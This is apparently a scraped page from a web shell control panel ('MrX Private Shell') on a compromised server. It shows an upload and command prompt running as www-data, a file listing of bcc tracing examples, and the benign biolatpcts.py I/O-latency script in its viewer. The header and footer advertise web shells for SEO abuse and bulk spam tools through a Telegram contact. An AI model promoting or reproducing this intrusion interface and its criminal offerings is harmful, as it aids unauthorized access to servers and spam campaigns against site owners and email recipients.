__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
#!/usr/bin/python
#
# biolatpcts.py  IO latency percentile calculation example
#
# Copyright (C) 2020 Tejun Heo <tj@kernel.org>
# Copyright (C) 2020 Facebook

from __future__ import print_function
from bcc import BPF
from time import sleep

bpf_source = """
#include <linux/blk_types.h>
#include <linux/blk-mq.h>
#include <linux/blkdev.h>
#include <linux/time64.h>

BPF_PERCPU_ARRAY(lat_100ms, u64, 100);
BPF_PERCPU_ARRAY(lat_1ms, u64, 100);
BPF_PERCPU_ARRAY(lat_10us, u64, 100);

RAW_TRACEPOINT_PROBE(block_rq_complete)
{
        // TP_PROTO(struct request *rq, blk_status_t error, unsigned int nr_bytes)
        struct request *rq = (void *)ctx->args[0];
        unsigned int cmd_flags;
        u64 dur;
        size_t base, slot;

        if (!rq->io_start_time_ns)
                return 0;

        dur = bpf_ktime_get_ns() - rq->io_start_time_ns;

        slot = min_t(size_t, div_u64(dur, 100 * NSEC_PER_MSEC), 99);
        lat_100ms.increment(slot);
        if (slot)
                return 0;

        slot = min_t(size_t, div_u64(dur, NSEC_PER_MSEC), 99);
        lat_1ms.increment(slot);
        if (slot)
                return 0;

        slot = min_t(size_t, div_u64(dur, 10 * NSEC_PER_USEC), 99);
        lat_10us.increment(slot);
        return 0;
}
"""

bpf = BPF(text=bpf_source)

cur_lat_100ms = bpf['lat_100ms']
cur_lat_1ms = bpf['lat_1ms']
cur_lat_10us = bpf['lat_10us']

last_lat_100ms = [0] * 100
last_lat_1ms = [0] * 100
last_lat_10us = [0] * 100

lat_100ms = [0] * 100
lat_1ms = [0] * 100
lat_10us = [0] * 100

def find_pct(req, total, slots, idx, counted):
    while idx > 0:
        idx -= 1
        if slots[idx] > 0:
            counted += slots[idx]
            if (counted / total) * 100 >= 100 - req:
                break
    return (idx, counted)

def calc_lat_pct(req_pcts, total, lat_100ms, lat_1ms, lat_10us):
    pcts = [0] * len(req_pcts)

    if total == 0:
        return pcts

    data = [(100 * 1000, lat_100ms), (1000, lat_1ms), (10, lat_10us)]
    data_sel = 0
    idx = 100
    counted = 0

    for pct_idx in reversed(range(len(req_pcts))):
        req = float(req_pcts[pct_idx])
        while True:
            last_counted = counted
            (gran, slots) = data[data_sel]
            (idx, counted) = find_pct(req, total, slots, idx, counted)
            if idx > 0 or data_sel == len(data) - 1:
                break
            counted = last_counted
            data_sel += 1
            idx = 100

        pcts[pct_idx] = gran * idx + gran / 2

    return pcts

print('Block I/O latency percentile example. See tools/biolatpcts.py for the full utility.')

while True:
    sleep(3)

    lat_total = 0;

    for i in range(100):
        v = cur_lat_100ms.sum(i).value
        lat_100ms[i] = max(v - last_lat_100ms[i], 0)
        last_lat_100ms[i] = v

        v = cur_lat_1ms.sum(i).value
        lat_1ms[i] = max(v - last_lat_1ms[i], 0)
        last_lat_1ms[i] = v

        v = cur_lat_10us.sum(i).value
        lat_10us[i] = max(v - last_lat_10us[i], 0)
        last_lat_10us[i] = v

        lat_total += lat_100ms[i]

    target_pcts = [50, 75, 90, 99]
    pcts = calc_lat_pct(target_pcts, lat_total, lat_100ms, lat_1ms, lat_10us);
    for i in range(len(target_pcts)):
        print('p{}={}us '.format(target_pcts[i], int(pcts[i])), end='')
    print()

Filemanager

Name Type Size Permission Actions
CMakeLists.txt File 276 B 0644
biolatpcts.py File 3.23 KB 0755
biolatpcts_example.txt File 650 B 0644
bitehist.py File 1.36 KB 0755
bitehist_example.txt File 1.18 KB 0644
dddos.py File 3.73 KB 0755
dddos_example.txt File 2.06 KB 0644
disksnoop.py File 1.9 KB 0755
disksnoop_example.txt File 1.55 KB 0644
hello_fields.py File 679 B 0755
hello_perf_output.py File 1.24 KB 0755
hello_perf_output_using_ns.py File 1.8 KB 0755
kvm_hypercall.py File 1.48 KB 0755
kvm_hypercall.txt File 1.74 KB 0644
mallocstacks.py File 1.9 KB 0755
mysqld_query.py File 1.66 KB 0755
mysqld_query_example.txt File 499 B 0644
nflatency.py File 6.07 KB 0755
nodejs_http_server.py File 1.34 KB 0755
nodejs_http_server_example.txt File 276 B 0644
stack_buildid_example.py File 3.03 KB 0755
stacksnoop.py File 3.18 KB 0755
stacksnoop_example.txt File 2.8 KB 0644
strlen_count.py File 1.3 KB 0755
strlen_hist.py File 1.81 KB 0755
strlen_hist_ifunc.py File 3.71 KB 0755
strlen_snoop.py File 1.35 KB 0755
sync_timing.py File 1.36 KB 0755
task_switch.c File 499 B 0644
task_switch.py File 486 B 0755
tcpv4connect.py File 2.36 KB 0755
tcpv4connect_example.txt File 1.04 KB 0644
trace_fields.py File 589 B 0755
trace_perf_output.py File 1.56 KB 0755
undump.py File 3.52 KB 0755
undump_example.txt File 886 B 0644
urandomread-explicit.py File 1.48 KB 0755
urandomread.py File 1.01 KB 0755
urandomread_example.txt File 675 B 0644
vfsreadlat.c File 896 B 0644
vfsreadlat.py File 1.3 KB 0755
vfsreadlat_example.txt File 3.53 KB 0644
Filemanager